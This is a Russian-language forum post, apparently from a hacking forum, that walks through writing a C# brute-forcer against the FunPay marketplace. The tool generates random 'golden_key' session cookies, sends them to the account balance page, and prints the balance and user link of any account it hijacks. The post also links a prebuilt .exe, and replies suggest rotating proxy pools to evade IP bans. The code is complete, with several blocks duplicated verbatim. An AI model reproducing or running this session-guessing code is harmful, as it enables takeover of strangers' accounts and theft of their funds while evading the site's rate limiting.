Всем привет! Сейчас я вам покажу как написать свой **** golden_key для Funpay. Писать я буду на C#. Для тех кто не владеет им, я сделал готовый .exe файл. Что нам потребуется? 1. Расширение для браузера EditThisCookie. 2. Базовые знания C#. 3. Редактор кода с поддержкой .NET 8.0. Как скачать расширение? Переходим на официальный сайт "Интернет-магазин Chrome". Нажимаем на "Поиск по магазину" и пишем "EditThisCookie". Нажимаем на нужное расширение и устанавливаем его. Переходим в редактор кода Заходим в редактор кода с поддержкой C# и создаём новый проект. Далее, заходим в файл Program.cs. Создаём класс Program и в нём уже метод Main, внутри которого создаём бесконечный цикл с задержкой в 1 секунду. Задержка необходима, чтобы избежать блокировки IP и ошибки 429 (Слишком много запросов). class Program { static void Main() { while (true) { Thread.Sleep(1000); } } } CSHARP class Program { static void Main() { while (true) { Thread.Sleep(1000); } } } Готово! Начнём прописывать основной функционал. Для начала напишем генерацию golden_key. Для этого создадим переменную sym, которая содержит все английские буквы и цифры. Максимальная длина golden_key равна 32 символам. Зная это, создаём цикл for, в котором 32 раза случайным образом получаем символ из переменной sym и прибавляем это значение к переменной goldenKey. class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, sym.Length - 1)]; } } } CSHARP class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, sym.Length - 1)]; } } } Теперь необходимо отправлять запрос со сгенерированным golden_key. Для этого подключаем пространство имён System.Net, затем создаём переменную класса CookieContainer и добавляем в неё golden_key. После этого, отправляем запрос на Funpay и сохраняем результат в переменную res. using System.Net; class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, 35)]; CookieContainer cookies = new(); cookies.Add(new Cookie("golden_key", goldenKey, "/", "Funpay.com")); var res = new HttpClient(new HttpClientHandler() { CookieContainer = cookies }).GetAsync("https://Funpay.com/account/balance").Result; } } } CSHARP using System.Net; class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, 35)]; CookieContainer cookies = new(); cookies.Add(new Cookie("golden_key", goldenKey, "/", "Funpay.com")); var res = new HttpClient(new HttpClientHandler() { CookieContainer = cookies }).GetAsync("https://Funpay.com/account/balance").Result; } } } Достаём путь до баланса Для этого переходим на Funpay, входим в свой аккаунт и переходим в раздел финансы. Затем, нажав на F12, открывается код страницы. После этого, нажимаем на значок курсора слева сверху. Далее, нажимаем на текст, в котором написан наш баланс, и смотрим код. По коду видно, что баланс находится в элементе span с классом balances-value. Этой информации нам достаточно для того, чтобы получить баланс во всех валютах. Продолжаем писать Нам необходимо написать проверку на блокировку IP и прочих ошибках, чтобы избежать вылета программы. using System.Net; class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, 35)]; CookieContainer cookies = new(); cookies.Add(new Cookie("golden_key", goldenKey, "/", "Funpay.com")); var res = new HttpClient(new HttpClientHandler() { CookieContainer = cookies }).GetAsync("https://Funpay.com/account/balance").Result; if ((short)res.StatusCode != 200) { if ((short)res.StatusCode == 403) { Console.WriteLine("Ваш IP заблокирован"); Thread.Sleep(3600000); continue; } Console.WriteLine("Ошибка" + (short)res.StatusCode); continue; } } } } CSHARP using System.Net; class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, 35)]; CookieContainer cookies = new(); cookies.Add(new Cookie("golden_key", goldenKey, "/", "Funpay.com")); var res = new HttpClient(new HttpClientHandler() { CookieContainer = cookies }).GetAsync("https://Funpay.com/account/balance").Result; if ((short)res.StatusCode != 200) { if ((short)res.StatusCode == 403) { Console.WriteLine("Ваш IP заблокирован"); Thread.Sleep(3600000); continue; } Console.WriteLine("Ошибка" + (short)res.StatusCode); continue; } } } } Теперь нужна проверка, найден ли баланс или нет. В случае удачи, выводить в консоль информацию (golden_key, баланс, ссылка на аккаунт) using System.Net; class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, 35)]; CookieContainer cookies = new(); cookies.Add(new Cookie("golden_key", goldenKey, "/", "Funpay.com")); var res = new HttpClient(new HttpClientHandler() { CookieContainer = cookies }).GetAsync("https://Funpay.com/account/balance").Result; if ((short)res.StatusCode != 200) { if ((short)res.StatusCode == 403) { Console.WriteLine("Ваш IP заблокирован"); Thread.Sleep(3600000); continue; } Console.WriteLine("Ошибка" + (short)res.StatusCode); continue; } string text = res.Content.ReadAsStringAsync().Result; string[] balances = text.Split("\"balances-value\">"); if (balances.Length > 1) { string balance = ""; foreach (string b in balances) balance += b.Split("<")[0].Replace(" ", "") + " "; Console.WriteLine($"{goldenKey} | РАБОЧИЙ\n\nССЫЛКА: https://Funpay.com/users/{text.Split("userId":")[1].Split(",")[0]}/\nБАЛАНС:{balance}"); } else Console.WriteLine($"{goldenKey} | НЕРАБОЧИЙ"); } } } CSHARP using System.Net; class Program { private static readonly string sym = "abcdefghijklmnopqrstuvwxyz0123456789"; static void Main() { while (true) { Thread.Sleep(1000); string goldenKey = ""; for (byte i = 0; i < 32; i++) goldenKey += sym[new Random().Next(0, 35)]; CookieContainer cookies = new(); cookies.Add(new Cookie("golden_key", goldenKey, "/", "Funpay.com")); var res = new HttpClient(new HttpClientHandler() { CookieContainer = cookies }).GetAsync("https://Funpay.com/account/balance").Result; if ((short)res.StatusCode != 200) { if ((short)res.StatusCode == 403) { Console.WriteLine("Ваш IP заблокирован"); Thread.Sleep(3600000); continue; } Console.WriteLine("Ошибка" + (short)res.StatusCode); continue; } string text = res.Content.ReadAsStringAsync().Result; string[] balances = text.Split("\"balances-value\">"); if (balances.Length > 1) { string balance = ""; foreach (string b in balances) balance += b.Split("<")[0].Replace(" ", "") + " "; Console.WriteLine($"{goldenKey} | РАБОЧИЙ\n\nССЫЛКА: https://Funpay.com/users/{text.Split("userId":")[1].Split(",")[0]}/\nБАЛАНС:{balance}"); } else Console.WriteLine($"{goldenKey} | НЕРАБОЧИЙ"); } } } Заключение **** готов. Будьте готовы к тому, что может не выпасть рабочий golden_key и вы можете быть заблокированы на Funpay. Готовый .exe файл: mega.nz Всем удачи и всем пока!
кста --- Сообщение объединено с предыдущим 3 сен 2023 а шанс найти ченибуть есть ? --- Сообщение объединено с предыдущим 3 сен 2023 или он ничтожно мал ?
Sad0w, смотря какие ******, есть пулы например rainproxy они сами обновляются, ты подключаешься только по одной проксе и на выходе всегда рандом айпи